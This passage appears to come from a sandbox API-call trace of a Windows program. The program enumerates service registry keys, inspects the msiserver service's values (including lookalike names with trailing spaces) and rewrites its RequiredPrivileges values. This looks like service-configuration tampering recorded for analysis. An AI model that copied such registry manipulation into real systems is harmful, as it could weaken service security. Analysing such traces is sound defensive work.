hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0251.181] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0251.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0251.183] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0251.184] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0251.185] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0251.186] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0251.187] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0251.193] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0251.194] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0251.194] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0251.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0251.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0251.236] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0251.236] RegCloseKey (hKey=0xc4) returned 0x0 [0251.236] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.236] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.236] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.237] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.237] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.238] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.238] RegCloseKey (hKey=0x148) returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.238] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.238] RegCloseKey (hKey=0xc4) returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.239] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.239] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.239] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.240] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.241] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.241] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.241] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, 